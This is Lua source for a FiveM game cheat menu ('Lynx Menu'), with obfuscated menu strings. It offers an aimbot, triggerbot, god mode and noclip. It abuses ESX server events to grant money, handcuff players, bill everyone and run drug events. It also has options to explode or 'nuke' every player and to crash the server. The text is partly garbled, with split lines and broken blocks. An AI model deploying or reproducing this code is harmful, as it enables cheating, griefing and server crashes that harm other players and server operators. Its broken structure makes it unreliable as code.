CreateVehicle(GetHashKey(camion),
GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
CreateVehicle(GetHashKey(camion), 2 *
GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
CreateVehicle(GetHashKey(avion),
GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
CreateVehicle(GetHashKey(avion),
GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
CreateVehicle(GetHashKey(avion), 2 *
GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
CreateVehicle(GetHashKey(avion2),
GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
CreateVehicle(GetHashKey(avion2),
GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) an
CreateVehicle(GetHashKey(avion2), 2 *
GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
CreateVehicle(GetHashKey(heli),
GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
CreateVehicle(GetHashKey(heli),
GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
CreateVehicle(GetHashKey(heli), 2 *
GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
CreateVehicle(GetHashKey(random),
GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
CreateVehicle(GetHashKey(random),
GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
CreateVehicle(GetHashKey(random), 2 *
GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true)
end
end
SetVehicleForwardSpeed(GetVehiclePedIsUsing(PlayerPedId()), 70.0)
elseif IsControlPressed(0, 210) then
SetVehicleForwardSpeed(GetVehiclePedIsUsing(PlayerPedId()), 0.0)
end
end
if TriggerBot then
local Aiming, Entity =
GetEntityPlayerIsFreeAimingAt(PlayerId(), Entity)
if Aiming then
if IsEntityAPed(Entity) and not
IsPedDeadOrDying(Entity, 0) and IsPedAPlayer(Entity) then
ShootPlayer(Entity)
end
end
end
if AimBot then
for i = 0, 64 do
if i ~= PlayerId() then
if IsPlayerFreeAiming(PlayerId()) then
local TargetPed = GetPlayerPed(i)
local TargetPos =
GetEntityCoords(TargetPed)
local Exist = DoesEntityExist(TargetPed)
local Dead = IsPlayerDead(TargetPed)
if Exist and not Dead then
local OnScreen, ScreenX, ScreenY =
World3dToScreen2d(TargetPos.x, TargetPos.y, TargetPos.z, 0)
if IsEntityVisible(TargetPed) and
OnScreen then
if
HasEntityClearLosToEntity(PlayerPedId(), TargetPed, 10000) then
local TargetCoords =
GetPedBoneCoords(TargetPed, 31086, 0, 0, 0)
DisplayRadar(true)
if RainbowVeh then
local ra = RGBRainbow(1.0)
SetVehicleCustomPrimaryColour(GetVehiclePedIsUsing(PlayerPedId()), ra.r,
ra.g, ra.b)
SetVehicleCustomSecondaryColour(GetVehiclePedIsUsing(PlayerPedId()), ra.r,
ra.g, ra.b)
end
if Noclip then
local currentSpeed = 2
local noclipEntity =
IsPedInAnyVehicle(PlayerPedId(), false) and
GetVehiclePedIsUsing(PlayerPedId()) or PlayerPedId()
FreezeEntityPosition(PlayerPedId(), true)
SetEntityInvincible(PlayerPedId(), true)
newPos =
GetOffsetFromEntityInWorldCoords(noclipEntity, 0.0,
yoff * (currentSpeed + 0.3), zoff * (currentSpeed + 0.3))
FreezeEntityPosition(noclipEntity, false)
SetEntityInvincible(noclipEntity, false)
SetEntityCollision(noclipEntity, true, true)
end
end
end
)
function GetPlayers()
local players = {}
for i = 0, 31 do
if NetworkIsPlayerActive(i) then
table.insert(players, i)
end
end
return players
end
Citizen.CreateThread(
function()
FreezeEntityPosition(entity, false)
local currentItemIndex = 1
local selectedItemIndex = 1
lynxunknowncheats.CreateMenu("\
76\121\110\120\77\97\105\110\77\101\110\117\10", "\
76\121\110\120\32\77\101\110\117\32\53\46\50\10")
lynxunknowncheats.SetSubTitle("\
76\121\110\120\77\97\105\110\77\101\110\117\10", "\
68\74\83\78\65\75\69\50\35\55\57\56\51\32\38\32\110\105\116\51\52\98\121\116\101\35
\49\53\52\57\10")
lynxunknowncheats.CreateSubMenu("\83\101\108\102\77\101\110\117\10", "\
76\121\110\120\77\97\105\110\77\101\110\117\10", "\
76\121\110\120\32\77\101\110\117\32\53\10")
lynxunknowncheats.CreateSubMenu("\88\112\111\115\101\100\10", "\
76\121\110\120\77\97\105\110\77\101\110\117\10", "\
76\121\110\120\32\77\101\110\117\32\53\10")
lynxunknowncheats.CreateSubMenu("\
68\101\115\116\114\111\121\101\114\10", "\
76\121\110\120\77\97\105\110\77\101\110\117\10", "\
76\121\110\120\32\77\101\110\117\32\53\10")
lynxunknowncheats.CreateSubMenu("\86\101\104\77\101\110\117\10", "\
76\121\110\120\77\97\105\110\77\101\110\117\10", "\
76\121\110\120\32\77\101\110\117\32\53\10")
lynxunknowncheats.CreateSubMenu("\
83\101\114\118\101\114\77\101\110\117\10", "\
76\121\110\120\77\97\105\110\77\101\110\117\10", "\
76\121\110\120\32\77\101\110\117\32\53\10")
lynxunknowncheats.CreateSubMenu("\
84\101\108\101\112\111\114\116\77\101\110\117\10", "\
76\121\110\120\77\97\105\110\77\101\110\117\10", "\
76\121\110\120\32\77\101\110\117\32\53\10")
lynxunknowncheats.CreateSubMenu('\
79\110\108\105\110\101\80\108\97\121\101\114\77\101\110\117\10 ', '\
76\121\110\120\77\97\105\110\77\101\110\117\10', '\
76\121\110\120\32\77\101\110\117\32\53\10')
lynxunknowncheats.CreateSubMenu('\
80\108\97\121\101\114\79\112\116\105\111\110\115\77\101\110\117\10', '\
79\110\108\105\110\101\80\108\97\121\101\114\77\101\110\117\10 ', '\
76\121\110\120\32\77\101\110\117\32\53\10')
lynxunknowncheats.CreateSubMenu('\
83\105\110\103\108\101\87\101\112\80\108\97\121\101\114\10 ', '\
79\110\108\105\110\101\80\108\97\121\101\114\77\101\110\117\10 ', '\
76\121\110\120\32\77\101\110\117\32\53\10')
lynxunknowncheats.CreateSubMenu("\87\101\112\77\101\110\117\10", "\
76\121\110\120\77\97\105\110\77\101\110\117\10", "\
76\121\110\120\32\77\101\110\117\32\53\10")
lynxunknowncheats.CreateSubMenu("\
83\105\110\103\108\101\87\101\112\77\101\110\117\10", "\
87\101\112\77\101\110\117\10", "\76\121\110\120\32\77\101\110\117\32\53\10")
lynxunknowncheats.CreateSubMenu("\69\83\88\66\111\115\115\10", "\
83\101\114\118\101\114\77\101\110\117\10", "\
69\83\88\32\66\111\115\115\32\77\101\110\117\115\10")
lynxunknowncheats.CreateSubMenu("\69\83\88\77\111\110\101\121\10", "\
83\101\114\118\101\114\77\101\110\117\10", "\
69\83\88\32\77\111\110\101\121\32\79\112\116\105\111\110\115\10")
lynxunknowncheats.CreateSubMenu("\69\83\88\77\105\115\99\10", "\
83\101\114\118\101\114\77\101\110\117\10", "\
69\83\88\32\77\105\115\99\32\79\112\116\105\111\110\115\10")
lynxunknowncheats.CreateSubMenu("\69\83\88\68\114\117\103\115\10 ", "\
83\101\114\118\101\114\77\101\110\117\10", "\69\83\88\32\68\114\117\103\115\10")
lynxunknowncheats.CreateSubMenu("\
77\105\115\99\83\101\114\118\101\114\79\112\116\105\111\110\115\10", "\
83\101\114\118\101\114\77\101\110\117\10", "\
77\105\115\99\32\83\101\114\118\101\114\32\79\112\116\105\111\110\115\10")
lynxunknowncheats.CreateSubMenu("\
86\82\80\79\112\116\105\111\110\115\10", "\
83\101\114\118\101\114\77\101\110\117\10", "\
86\82\80\32\83\101\114\118\101\114\32\79\112\116\105\111\110\115\10")
local SelectedPlayer
while Enabled do
if lynxunknowncheats.IsMenuOpened("\
76\121\110\120\77\97\105\110\77\101\110\117\10") then
drawNotification("\
60\70\79\78\84\32\67\79\76\79\82\61\39\35\70\70\50\51\50\53\39\62\126\104\126\76\12
1\110\120\32\126\115\126\105\115\32\126\103\126\114\101\97\100\121\32\98\105\116\99
\104\33\126\115\126\32\82\101\118\32\60\70\79\78\84\32\67\79\76\79\82\61\39\35\70\7
0\50\51\50\53\39\62\53\46\50\126\115\126\32\226\136\145\10")
drawNotification("\
89\111\117\32\97\114\101\32\117\115\105\110\103\32\76\121\110\120\32\82\101\118\126
\110\126\32\60\70\79\78\84\32\67\79\76\79\82\61\39\35\70\70\50\51\50\53\39\62\69\11
0\106\111\121\32\58\51\10")
if lynxunknowncheats.MenuButton("\
126\104\126\83\101\108\102\32\77\101\110\117\10", "\
83\101\108\102\77\101\110\117\10") then
elseif lynxunknowncheats.MenuButton("\
126\104\126\79\110\108\105\110\101\32\80\108\97\121\101\114\115\10", "\
79\110\108\105\110\101\80\108\97\121\101\114\77\101\110\117\10 ") then
elseif lynxunknowncheats.MenuButton("\
126\104\126\88\112\111\115\101\100\10", "\88\112\111\115\101\100\10") then
elseif lynxunknowncheats.MenuButton("\
126\104\126\68\101\115\116\114\111\121\101\114\32\60\70\79\78\84\32\67\79\76\79\82\
61\39\35\66\50\48\48\48\48\39\62\126\104\126\62\58\51\10", "\
68\101\115\116\114\111\121\101\114\10") then
elseif lynxunknowncheats.MenuButton("\
126\104\126\84\101\108\101\112\111\114\116\32\77\101\110\117\10", "\
84\101\108\101\112\111\114\116\77\101\110\117\10") then
elseif lynxunknowncheats.MenuButton("\
126\104\126\86\101\104\105\99\108\101\32\77\101\110\117\10", "\
86\101\104\77\101\110\117\10") then
elseif lynxunknowncheats.MenuButton("\
126\104\126\87\101\97\112\111\110\32\77\101\110\117\10", "\
87\101\112\77\101\110\117\10") then
elseif lynxunknowncheats.MenuButton("\
126\104\126\76\85\65\32\60\70\79\78\84\32\67\79\76\79\82\61\39\35\66\50\48\48\48\48
\39\62\126\104\126\69\120\101\99\117\116\111\114\10", "\
83\101\114\118\101\114\77\101\110\117\10") then
elseif lynxunknowncheats.Button("\
126\114\126\126\104\126\80\97\110\105\99\32\75\101\121\126\115\126\32\47\32\126\114
\126\68\105\115\97\98\108\101\32\77\101\110\117\10") then
Enabled = false
elseif lynxunknowncheats.Button("\
66\97\115\101\100\32\111\110\32\82\117\98\121\39\115\32\83\111\117\114\99\101\32\67
\111\100\101\10") then
end
lynxunknowncheats.Display()
elseif lynxunknowncheats.IsMenuOpened("\
83\101\108\102\77\101\110\117\10") then
if
lynxunknowncheats.CheckBox(
"~h~~g~God~s~Mode",
Godmode,
function(enabled)
Godmode = enabled
end
)
then
elseif lynxunknowncheats.Button("~h~~r~Suicide") then
SetEntityHealth(PlayerPedId(), 0)
elseif lynxunknowncheats.Button("~h~~g~ESX~s~ ~s~Revive
yourself~s~") then
TriggerEvent("esx_ambulancejob:revive")
elseif lynxunknowncheats.Button("~h~~g~Heal") then
SetEntityHealth(PlayerPedId(), 200)
elseif lynxunknowncheats.Button("~h~~b~Give Armour") then
SetPedArmour(PlayerPedId(), 200)
elseif
lynxunknowncheats.CheckBox("~h~Infinite
Stamina",InfStamina,function(enabled)InfStamina = enabled end)
then
elseif
lynxunknowncheats.CheckBox("~h~Fast
Run",fastrun,function(enabled)fastrun = enabled end)
then
elseif
lynxunknowncheats.CheckBox(
"~h~Super Jump",
SuperJump,
function(enabled)
SuperJump = enabled
end)
then
elseif
lynxunknowncheats.CheckBox(
"~h~Invisible",
Invisible,
function(enabled)
Invisible = enabled
end)
then
elseif
lynxunknowncheats.CheckBox("~h~Noclip",Noclip,function(enabled)Noclip =
enabled end)
then
end
lynxunknowncheats.Display()
elseif lynxunknowncheats.IsMenuOpened("\
84\101\108\101\112\111\114\116\77\101\110\117\10") then
SetVehicleNeedsToBeHotwired(NearestVehicle, false)
else
local driverPed =
GetPedInVehicleSeat(NearestVehicle, -1)
ClearPedTasksImmediately(driverPed)
SetEntityAsMissionEntity(driverPed, 1, 1)
DeleteEntity(driverPed)
SetPedIntoVehicle(playerPed,
NearestVehicle, -1)
SetVehicleAlarm(NearestVehicle, false)
SetVehicleDoorsLocked(NearestVehicle, 1)
SetVehicleNeedsToBeHotwired(NearestVehicle, false)
end
elseif Vdist(NearestVehiclePos.x,
NearestVehiclePos.y, NearestVehiclePos.z, playerPedPos.x, playerPedPos.y,
playerPedPos.z) > Vdist(NearestPlanePos.x, NearestPlanePos.y, NearestPlanePos.z,
playerPedPos.x, playerPedPos.y, playerPedPos.z) then
if IsVehicleSeatFree(NearestPlane, -1) then
SetPedIntoVehicle(playerPed,
NearestPlane, -1)
SetVehicleAlarm(NearestPlane, false)
SetVehicleDoorsLocked(NearestPlane, 1)
SetVehicleNeedsToBeHotwired(NearestPlane,
false)
else
local driverPed =
GetPedInVehicleSeat(NearestPlane, -1)
ClearPedTasksImmediately(driverPed)
SetEntityAsMissionEntity(driverPed, 1, 1)
DeleteEntity(driverPed)
SetPedIntoVehicle(playerPed,
NearestPlane, -1)
SetVehicleAlarm(NearestPlane, false)
SetVehicleDoorsLocked(NearestPlane, 1)
SetVehicleNeedsToBeHotwired(NearestPlane,
false)
end
end
drawNotification("~g~Teleported Into Nearest
Vehicle!")
end
end
lynxunknowncheats.Display()
elseif lynxunknowncheats.IsMenuOpened("\
88\112\111\115\101\100\10") then
if
lynxunknowncheats.CheckBox(
"~h~TriggerBot",
TriggerBot,
function(enabled)
TriggerBot = enabled
end)
then
elseif
lynxunknowncheats.CheckBox(
"~h~AimBot",
AimBot,
function(enabled)
AimBot = enabled
end)
then
elseif
lynxunknowncheats.CheckBox(
"~h~ESP",
esp,
function(enabled)
esp = enabled
end)
then
elseif
lynxunknowncheats.CheckBox(
"~h~Player Blips",
playerBlips,
function(enabled)
playerBlips = enabled
end)
then
elseif
lynxunknowncheats.CheckBox(
"~h~~r~EMP~s~ Nearest Vehicles",
destroyvehicles,
function(enabled)
destroyvehicles = enabled
end)
then
elseif
lynxunknowncheats.CheckBox(
"~h~~r~Explode~s~ Nearest Vehicles",
explodevehicles,
function(enabled)
explodevehicles = enabled
end)
then
end
lynxunknowncheats.Display()
elseif lynxunknowncheats.IsMenuOpened("\
68\101\115\116\114\111\121\101\114\10") then
if
lynxunknowncheats.CheckBox(
"~h~Explode everyone",
blowall,
function(enabled)
blowall = enabled
end)
then
elseif
lynxunknowncheats.CheckBox(
"~h~~y~Nuke ~s~everyone ~r~(CRASH)",
nuke,
function(enabled)
nuke = enabled
end)
then
elseif
lynxunknowncheats.CheckBox(
"~h~~g~ESX ~r~DESTROY",
esxdestroy,
function(enabled)
esxdestroy = enabled
end)
then
elseif
lynxunknowncheats.CheckBox(
"~h~~r~Server crasher",
servercrasher,
function(enabled)
servercrasher = enabled
end)
then
end
lynxunknowncheats.Display()
elseif lynxunknowncheats.IsMenuOpened("\
87\101\112\77\101\110\117\10") then
SetPlayerMeleeWeaponDamageModifier(PlayerId(), selectedItemIndex)
end
)
then
elseif
lynxunknowncheats.CheckBox(
"~h~~r~ONE SHOT KILL",
oneshot,
function(enabled)
oneshot = enabled
end)
then
elseif
lynxunknowncheats.CheckBox(
"~h~Infinite Ammo",
InfAmmo,
function(enabled)
InfAmmo = enabled
SetPedInfiniteAmmoClip(PlayerPedId(), InfAmmo)
end)
then
elseif
lynxunknowncheats.CheckBox("~h~Vehicle
Gun",VehicleGun,
function(enabled)VehicleGun = enabled end)
then
elseif
lynxunknowncheats.CheckBox("~h~Delete
Gun",DeleteGun,
function(enabled)DeleteGun = enabled end)
then
end
lynxunknowncheats.Display()
elseif lynxunknowncheats.IsMenuOpened("\
83\105\110\103\108\101\87\101\112\77\101\110\117\10") then
for i = 1, #allWeapons do
if lynxunknowncheats.Button(allWeapons[i]) then
GiveWeaponToPed(PlayerPedId(),
GetHashKey(allWeapons[i]), 1000, false, false)
end
end
lynxunknowncheats.Display()
elseif lynxunknowncheats.IsMenuOpened("\
86\101\104\77\101\110\117\10") then
local veh =
CreateVehicle(GetHashKey(ModelName), GetEntityCoords(PlayerPedId()),
GetEntityHeading(PlayerPedId()), true, true)
SetPedCanBeKnockedOffVehicle(PlayerPedId(), Nofall)
end)
then
elseif
lynxunknowncheats.CheckBox(
"~h~Vehicle Godmode",
VehGod,
function(enabled)
VehGod = enabled
end
)
then
elseif
lynxunknowncheats.CheckBox(
"~h~Speedboost ~g~SHIFT ~r~CTRL",
VehSpeed,
function(enabled)
VehSpeed = enabled
end)
then
end
lynxunknowncheats.Display()
elseif lynxunknowncheats.IsMenuOpened("\
83\101\114\118\101\114\77\101\110\117\10") then
lynxunknowncheats.Display()
elseif lynxunknowncheats.IsMenuOpened("\
69\83\88\66\111\115\115\10") then
TriggerEvent("esx_society:openBossMenu","mecano",function(data,
menu)menu.close() end)
setMenuVisible(currentMenu, false)
elseif lynxunknowncheats.Button("~b~~h~Police~s~ Boss
Menu") then
TriggerEvent("esx_society:openBossMenu","police",function(data,
menu)menu.close() end)
setMenuVisible(currentMenu, false)
elseif lynxunknowncheats.Button("~r~~h~Ambulance~s~ Boss
Menu") then
TriggerEvent("esx_society:openBossMenu","ambulance",function(data,
menu)menu.close() end)
setMenuVisible(currentMenu, false)
elseif lynxunknowncheats.Button("~y~~h~Taxi~s~ Boss Menu")
then
TriggerEvent("esx_society:openBossMenu","taxi",function(data,
menu)menu.close() end)
setMenuVisible(currentMenu, false)
elseif lynxunknowncheats.Button("~g~~h~Real Estate~s~ Boss
Menu") then
TriggerEvent("esx_society:openBossMenu","realestateagent",function(data,
menu)menu.close() end)
setMenuVisible(currentMenu, false)
elseif lynxunknowncheats.Button("~p~~h~Gang~s~ Boss Menu")
then
TriggerEvent("esx_society:openBossMenu","gang",function(data,
menu)menu.close() end)
setMenuVisible(currentMenu, false)
elseif lynxunknowncheats.Button("~o~~h~Car Dealer~s~ Boss
Menu") then
TriggerEvent("esx_society:openBossMenu","cardealer",function(data,
menu)menu.close() end)
setMenuVisible(currentMenu, false)
elseif lynxunknowncheats.Button("~y~~h~Banker~s~ Boss
Menu") then
TriggerEvent("esx_society:openBossMenu","banker",function(data,
menu)menu.close() end)
setMenuVisible(currentMenu, false)
end
lynxunknowncheats.Display()
elseif lynxunknowncheats.IsMenuOpened("\
69\83\88\77\111\110\101\121\10") then
lynxunknowncheats.Display()
elseif lynxunknowncheats.IsMenuOpened("\
69\83\88\77\105\115\99\10") then
if lynxunknowncheats.Button("~w~~h~Set hunger to
~h~~g~100%") then
TriggerEvent("esx_status:set", "hunger", 1000000)
elseif lynxunknowncheats.Button("~w~~h~Set thirst to
~h~~g~100%") then
TriggerEvent("esx_status:set", "thirst", 1000000)
elseif lynxunknowncheats.Button("~g~~h~ESX ~y~Revive
~h~ID") then
local id = KeyboardInput("Enter Player ID", "", 1000)
if id then
TriggerEvent("esx_ambulancejob:revive",
GetPlayerServerId(i))
end
elseif lynxunknowncheats.Button("~g~~h~ESX ~r~SEND EVERYONE
A BILL") then
local amount = KeyboardInput("Enter Amount", "", 100000000)
local name = KeyboardInput("Enter the name of the Bill", "",
100000000)
if amount and name then
for i = 0, 64 do
TriggerServerEvent('esx_billing:sendBill',
GetPlayerServerId(i), "Purposeless", name, amount)
end
end
elseif lynxunknowncheats.Button("~g~~h~ESX ~b~Handcuff
~h~ID") then
local id = KeyboardInput("Enter Player ID", "", 1000)
if id then
TriggerServerEvent('esx_policejob:handcuff',
GetPlayerServerId(i))
end
elseif lynxunknowncheats.Button("~g~~h~ESX ~w~Get all
licenses") then
TriggerServerEvent('esx_dmvschool:addLicense', dmv)
TriggerServerEvent('esx_dmvschool:addLicense', drive)
TriggerServerEvent('esx_dmvschool:addLicense',
drive_bike)
TriggerServerEvent('esx_dmvschool:addLicense',
drive_truck)
end
lynxunknowncheats.Display()
elseif lynxunknowncheats.IsMenuOpened("\
77\105\115\99\83\101\114\118\101\114\79\112\116\105\111\110\15\10") then
TriggerServerEvent("esx:enterpolicecar",GetDisplayNameFromVehicleModel(GetEntityMod
el(GetVehiclePedIsIn(GetPlayerPed(-1), 0))))
end
lynxunknowncheats.Display()
elseif lynxunknowncheats.IsMenuOpened("\
86\82\80\79\112\116\105\111\110\115\10") then
lynxunknowncheats.Display()
elseif lynxunknowncheats.IsMenuOpened("\
69\83\88\68\114\117\103\115\10 ") then
if lynxunknowncheats.Button("~h~~g~Harvest ~g~Weed
~c~(x5)") then
TriggerServerEvent("esx_drugs:startHarvestWeed")
TriggerServerEvent("esx_drugs:startHarvestWeed")
TriggerServerEvent("esx_drugs:startHarvestWeed")
TriggerServerEvent("esx_drugs:startHarvestWeed")
TriggerServerEvent("esx_drugs:startHarvestWeed")
elseif lynxunknowncheats.Button("~h~~g~Transform ~g~Weed
~c~(x5)") then
TriggerServerEvent("esx_drugs:startTransformWeed")
TriggerServerEvent("esx_drugs:startTransformWeed")
TriggerServerEvent("esx_drugs:startTransformWeed")
TriggerServerEvent("esx_drugs:startTransformWeed")
TriggerServerEvent("esx_drugs:startTransformWeed")
elseif lynxunknowncheats.Button("~h~~g~Sell ~g~Weed
~c~(x5)") then
TriggerServerEvent("esx_drugs:startSellWeed")
TriggerServerEvent("esx_drugs:startSellWeed")
TriggerServerEvent("esx_drugs:startSellWeed")
TriggerServerEvent("esx_drugs:startSellWeed")
TriggerServerEvent("esx_drugs:startSellWeed")
elseif lynxunknowncheats.Button("~h~~w~Harvest ~w~Coke
~c~(x5)") then
TriggerServerEvent("esx_drugs:startHarvestCoke")
TriggerServerEvent("esx_drugs:startHarvestCoke")
TriggerServerEvent("esx_drugs:startHarvestCoke")
TriggerServerEvent("esx_drugs:startHarvestCoke")
TriggerServerEvent("esx_drugs:startHarvestCoke")
elseif lynxunknowncheats.Button("~h~~w~Transform ~w~Coke
~c~(x5)") then
TriggerServerEvent("esx_drugs:startTransformCoke")
TriggerServerEvent("esx_drugs:startTransformCoke")
TriggerServerEvent("esx_drugs:startTransformCoke")
TriggerServerEvent("esx_drugs:startTransformCoke")
TriggerServerEvent("esx_drugs:startTransformCoke")
elseif lynxunknowncheats.Button("~h~~w~Sell ~w~Coke
~c~(x5)") then
TriggerServerEvent("esx_drugs:startSellCoke")
TriggerServerEvent("esx_drugs:startSellCoke")
TriggerServerEvent("esx_drugs:startSellCoke")
TriggerServerEvent("esx_drugs:startSellCoke")
TriggerServerEvent("esx_drugs:startSellCoke")
elseif lynxunknowncheats.Button("~h~~r~Harvest Meth
~c~(x5)") then
TriggerServerEvent("esx_drugs:startHarvestMeth")
TriggerServerEvent("esx_drugs:startHarvestMeth")
TriggerServerEvent("esx_drugs:startHarvestMeth")
TriggerServerEvent("esx_drugs:startHarvestMeth")
TriggerServerEvent("esx_drugs:startHarvestMeth")
elseif lynxunknowncheats.Button("~h~~r~Transform Meth
~c~(x5)") then
TriggerServerEvent("esx_drugs:startTransformMeth")
TriggerServerEvent("esx_drugs:startTransformMeth")
TriggerServerEvent("esx_drugs:startTransformMeth")
TriggerServerEvent("esx_drugs:startTransformMeth")
TriggerServerEvent("esx_drugs:startTransformMeth")
elseif lynxunknowncheats.Button("~h~~r~Sell Meth ~c~(x5)")
then
TriggerServerEvent("esx_drugs:startSellMeth")
TriggerServerEvent("esx_drugs:startSellMeth")
TriggerServerEvent("esx_drugs:startSellMeth")
TriggerServerEvent("esx_drugs:startSellMeth")
TriggerServerEvent("esx_drugs:startSellMeth")
elseif lynxunknowncheats.Button("~h~~p~Harvest Opium
~c~(x5)") then
TriggerServerEvent("esx_drugs:startHarvestOpium")
TriggerServerEvent("esx_drugs:startHarvestOpium")
TriggerServerEvent("esx_drugs:startHarvestOpium")
TriggerServerEvent("esx_drugs:startHarvestOpium")
TriggerServerEvent("esx_drugs:startHarvestOpium")
elseif lynxunknowncheats.Button("~h~~p~Transform Opium
~c~(x5)") then
TriggerServerEvent("esx_drugs:startTransformOpium")
TriggerServerEvent("esx_drugs:startTransformOpium")
TriggerServerEvent("esx_drugs:startTransformOpium")
TriggerServerEvent("esx_drugs:startTransformOpium")
TriggerServerEvent("esx_drugs:startTransformOpium")
elseif lynxunknowncheats.Button("~h~~p~Sell Opium ~c~(x5)")
then
TriggerServerEvent("esx_drugs:startSellOpium")
TriggerServerEvent("esx_drugs:startSellOpium")
TriggerServerEvent("esx_drugs:startSellOpium")
TriggerServerEvent("esx_drugs:startSellOpium")
TriggerServerEvent("esx_drugs:startSellOpium")
elseif lynxunknowncheats.Button("~h~~g~Money Wash
~c~(x10)") then
TriggerServerEvent("esx_blanchisseur:startWhitening",
85)
TriggerServerEvent("esx_blanchisseur:startWhitening",
85)
TriggerServerEvent("esx_blanchisseur:startWhitening",
85)
TriggerServerEvent("esx_blanchisseur:startWhitening",
85)
TriggerServerEvent("esx_blanchisseur:startWhitening",
85)
TriggerServerEvent("esx_blanchisseur:startWhitening",
85)
TriggerServerEvent("esx_blanchisseur:startWhitening",
85)
TriggerServerEvent("esx_blanchisseur:startWhitening",
85)
TriggerServerEvent("esx_blanchisseur:startWhitening",
85)
TriggerServerEvent("esx_blanchisseur:startWhitening",
85)
elseif lynxunknowncheats.Button("~r~~h~Stop all
~c~(Drugs)") then
TriggerServerEvent("esx_drugs:stopHarvestCoke")
TriggerServerEvent("esx_drugs:stopTransformCoke")
TriggerServerEvent("esx_drugs:stopSellCoke")
TriggerServerEvent("esx_drugs:stopHarvestMeth")
TriggerServerEvent("esx_drugs:stopTransformMeth")
TriggerServerEvent("esx_drugs:stopSellMeth")
TriggerServerEvent("esx_drugs:stopHarvestWeed")
TriggerServerEvent("esx_drugs:stopTransformWeed")
TriggerServerEvent("esx_drugs:stopSellWeed")
TriggerServerEvent("esx_drugs:stopHarvestOpium")
TriggerServerEvent("esx_drugs:stopTransformOpium")
TriggerServerEvent("esx_drugs:stopSellOpium")
drawNotification("~r~Everything is now stopped.")
elseif lynxunknowncheats.CheckBox("~r~Blow Drugs Up",
BlowDrugsUp,
function(enabled)
BlowDrugsUp = enabled
end)
then
end
lynxunknowncheats.Display()
elseif lynxunknowncheats.IsMenuOpened("\
79\110\108\105\110\101\80\108\97\121\101\114\77\101\110\117\10 ") then
for i = 0, 64 do
if NetworkIsPlayerActive(i) and GetPlayerServerId(i)
~= 0 and lynxunknowncheats.MenuButton(GetPlayerName(i).."
~p~["..GetPlayerServerId(i).."]~s~ ~y~["..i.."]~s~ "..
(IsPedDeadOrDying(GetPlayerPed(i), 1) and "~r~DEAD" or "~g~ALIVE"), '\
80\108\97\121\101\114\79\112\116\105\111\110\115\77\101\110\117\10') then
SelectedPlayer = i
end
end
lynxunknowncheats.Display()
elseif lynxunknowncheats.IsMenuOpened("\
80\108\97\121\101\114\79\112\116\105\111\110\115\77\101\110\117\10") then
lynxunknowncheats.SetSubTitle("\
80\108\97\121\101\114\79\112\116\105\111\110\115\77\101\110\117\10", "Player
Options [" .. GetPlayerName(SelectedPlayer) .. "]")
if lynxunknowncheats.Button("Spectate", (Spectating and
"~g~[SPECTATING]")) then
SpectatePlayer(SelectedPlayer)
elseif lynxunknowncheats.Button("Teleport To") then
local Entity = IsPedInAnyVehicle(PlayerPedId(),
false) and GetVehiclePedIsUsing(PlayerPedId()) or PlayerPedId()
SetEntityCoords(Entity,
GetEntityCoords(GetPlayerPed(SelectedPlayer)), 0.0, 0.0, 0.0, false)
elseif lynxunknowncheats.Button("~g~ESX ~s~Give money to
player from your wallet") then
local result = KeyboardInput("Enter amount of money
to give", "", 100000000)
if result then
TriggerServerEvent("esx:giveInventoryItem",
GetPlayerServerId(SelectedPlayer), "item_money", "money", result)
end
elseif lynxunknowncheats.Button("~g~ESX ~s~Send Bill") then
local amount = KeyboardInput("Enter Amount", "",
100000000)
local name = KeyboardInput("Enter the name of the Bill", "",
100000000)
if amount and name then
TriggerServerEvent('esx_billing:sendBill',
GetPlayerServerId(SelectedPlayer), "Purposeless", name, amount)
end
elseif lynxunknowncheats.Button("~g~ESX ~b~Policejob
Handcuff Player") then
TriggerServerEvent('esx_policejob:handcuff',
GetPlayerServerId(SelectedPlayer))
elseif lynxunknowncheats.Button("~g~ESX ~s~Revive player")
then
TriggerEvent('esx_ambulancejob:revive',
GetPlayerServerId(SelectedPlayer))
elseif lynxunknowncheats.Button("~r~Slap/Kill") then
AddExplosion(GetEntityCoords(GetPlayerPed(SelectedPlayer)), 2, 100000.0,
false, true, 0)
elseif lynxunknowncheats.Button("~y~Explode") then
AddExplosion(GetEntityCoords(GetPlayerPed(SelectedPlayer)), 2, 100000.0,
true, false, 100000.0)
elseif lynxunknowncheats.Button("Give All Weapons") then
for i = 1, #allWeapons do
GiveWeaponToPed(GetPlayerPed(SelectedPlayer),
GetHashKey(allWeapons[i]), 1000, false, false)
end
elseif lynxunknowncheats.Button("Remove All Weapons") then
for i = 1, #allWeapons do
RemoveAllPedWeapons(PlayerPedId(SelectedPlayer), true)
end
elseif lynxunknowncheats.MenuButton("Give Single Weapon",
"\83\105\110\103\108\101\87\101\112\80\108\97\121\101\114\10 ") then
elseif lynxunknowncheats.Button("Give Vehicle") then
local ped = GetPlayerPed(SelectedPlayer)
local ModelName = KeyboardInput("Enter Vehicle Spawn
Name", "", 100)
local veh =
CreateVehicle(GetHashKey(ModelName), GetEntityCoords(ped), GetEntityHeading(ped),
true, true)
else
drawNotification("~r~Model is not valid!")
end
ClearPedTasksImmediately(GetPlayerPed(SelectedPlayer))
elseif lynxunknowncheats.Button("Destroy His Engine") then
local playerPed = GetPlayerPed(SelectedPlayer)
NetworkRequestControlOfEntity(GetVehiclePedIsIn(SelectedPlayer))
SetVehicleUndriveable(GetVehiclePedIsIn(playerPed),true)
SetVehicleEngineHealth(GetVehiclePedIsIn(playerPed),
100)
NetworkRequestControlOfEntity(GetVehiclePedIsIn(SelectedPlayer))
SetVehicleFixed(GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), false))
SetVehicleDirtLevel(GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), false),
0.0)
SetVehicleLights(GetVehiclePedIsIn(GetPlayerPed(SelectedPlayer), false), 0)
